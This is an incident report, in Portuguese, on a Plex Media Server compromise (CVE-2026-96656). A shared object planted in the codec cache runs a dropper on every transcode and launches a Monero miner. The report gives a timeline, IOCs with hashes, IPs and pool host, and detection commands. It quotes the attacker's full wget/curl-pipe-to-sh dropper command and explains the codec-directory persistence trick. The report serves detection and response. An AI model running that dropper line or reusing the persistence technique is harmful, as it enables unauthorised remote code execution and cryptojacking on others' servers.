
Relato de incidente: .so não assinado no cache de codecs do Plex Media Server executa um dropper a cada transcode (CVE-2026-96656) — IOCs, STIX, YARA
.so não assinado plantado no cache de codecs do Plex Media Server executa um minerador Monero a cada transcodeData do incidente: 2026-10-17 → 2026-10-18 (UTC+02:00)
Vulnerabilidade: CVE-2026-96656 (CVSS 4.0: 8.6, atribuída pela CISA) — corrigida no Plex Media Server 1.43.3.10861
Afetado: Plex Media Server 1.43.2.10687 (Linux, contêiner oficial linuxserver/plex)
Status: contido; reconstrução do host não necessária (nenhuma persistência em disco fora do cache de codecs)
Um atacante com acesso ao servidor Plex inseriu um objeto compartilhado não assinado chamado
zz45fbb275.so no diretório de codecs da aplicação — um diretório que o próprio Plex popula
e passa a cada transcoder via FFMPEG_EXTERNAL_LIBS. O objeto não exporta
nada e não declara dependências; todo o seu payload é um único construtor .init_array, portanto ele é executado no momento em que o transcoder faz dlopen() nele.
Assim, cada transcode — um cliente pressionando play, ou os trabalhos de miniatura/análise da biblioteca — reexecutava:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
que baixou um minerador RandomX derivado do xmrig (x12345) e o iniciou contra
ota.proxystream.st:3333 com --rig-id plexdocker. Não havia cron job, nem unidade
systemd, nem edição de rc-file, nem binário modificado: o cache de codecs era o
mecanismo de persistência. Matar apenas o minerador reinfectava o host na próxima
reprodução.
| Hora | Evento |
|---|---|
| 17 out 07:50 | Primeira sessão WAN a partir de 45.194.92.222; as requisições autenticam como guest, depois registram um player Companion e acionam /player/* e endpoints de agente |
| 17 out 17:20 | zz45fbb275.so criado em …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ (o mtime do diretório muda; nenhum outro arquivo aparece) |
| 17 out 17:23 | /tmp/x12345 gravado (8.350.992 bytes) |
| 17 out 17:40 | Minerador em execução: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker, ~127 % de CPU |
| 18 out 10:48 | Segunda cadeia de dropper gerada por um transcode posterior — o payload é reexecutado sob demanda |
| 18 out 11:14 | Detecção: processo de mineração encontrado com PPid apontando para o PID 1 do contêiner |
| 18 out 11:20–11:35 | Contenção: .so removido, Plex atualizado para 1.43.4, acesso WAN à porta 32400 bloqueado |
O servidor estava acessível pela internet (mapeamento de porta UPnP do próprio Plex). Os logs do Plex
mostram a origem 45.194.92.222 autenticando como guest e emitindo chamadas de agente no
exato minuto em que o .so apareceu; um segundo endereço, 91.92.40.202, também aparece com
autenticação guest.
A descrição pública da CVE-2026-96656 corresponde exatamente a este artefato:
Plex Media Server anterior a 1.43.3.10861 permite que um usuário admin grave arquivos arbitrários que podem ser executados no carregamento. A preferência
TranscoderH264Optionsé anexada literalmente à string de opções do x264 em cada transcode. Na inicialização, todos os arquivos .so são executados sem verificação de assinatura, bit de execução ou símbolos.
Duas consequências que vale declarar claramente:
PR:H). As requisições autenticadas como guest acima
não explicam por si só a gravação do arquivo, portanto o token de admin do servidor deve ser tratado
como comprometido, independentemente de como a requisição foi feita..so no diretório
de codecs, e é por isso que uma biblioteca inócua com um único construtor é um payload
completo.Não capturamos a requisição específica que gravou o arquivo — a entrega é evidenciada
por timestamps do sistema de arquivos e pela cadeia de execução, não por uma captura de pacotes. A
preferência TranscoderH264Options no host afetado foi encontrada vazia depois,
portanto o valor usado para gravar o arquivo foi redefinido ou sobrescrito; essa é a única
peça da cadeia que não conseguimos reconstruir após o fato.
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
Como o construtor é executado no carregamento, o objeto não precisa implementar nenhuma API de codec. Ele só precisa estar em um diretório do qual o transcoder carrega bibliotecas.
Detalhes de posicionamento que vale a pena detectar:
lib*.so; todo arquivo legítimo no diretório de codecs segue esse padrão (libh264_decoder.so, libhevc_decoder.so, …). zz provavelmente foi escolhido para ordenar por último.Codecs/<set-id>-linux-x86_64/) normalmente é gravado apenas pelo próprio download de codecs do Plex, cujos arquivos todos têm o prefixo lib.EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder é o único outro objeto sem lib que pertence a essa árvore.filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker é uma tag fixa do operador — útil para buscas de pivô em dados de fluxo e telemetria de pool. O processo foi encontrado no estado T (parado) ocupando ~2,3 GB de RSS: parado não é inofensivo, ele retoma e continua fazendo hashing.
PPid apontava para o PID 1 do contêiner (s6-svscan) porque o pai real já havia encerrado — reparenting, não supervisão. O lançador real era visível apenas através do socketpair compartilhado: ss -xp listava a cadeia sh/wget, o Plex Transcoder, o serviço de tuner e o servidor Plex no mesmo par de sockets, e percorrer os filhos do Plex Transcoder ativo mostrava o dropper como seu filho. O gatilho era o próprio transcode.
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
Qualquer hit que não seja EasyAudioEncoder é suspeito. Também sinalize um diretório de codec cujo
mtime mudou sem que um lib*.so correspondente tenha sido adicionado.
Verifique a preferência que o CVE-2026-96656 explora para a escrita arbitrária de arquivos:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
Um valor não vazio merece ser lido — ele é anexado literalmente à string de opções do x264 em cada transcodificação, e qualquer coisa com formato de nome de arquivo nele acaba sendo gravada em disco. No host aqui ele estava vazio após o incidente, então a ausência não é prova de ausência: correlacione com o mtime do arquivo.
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'
pkill -f com o padrão simples irá matar o shell que o executa (o padrão faz parte da linha de comando desse shell) — use a forma entre colchetes ou mate pelo PID.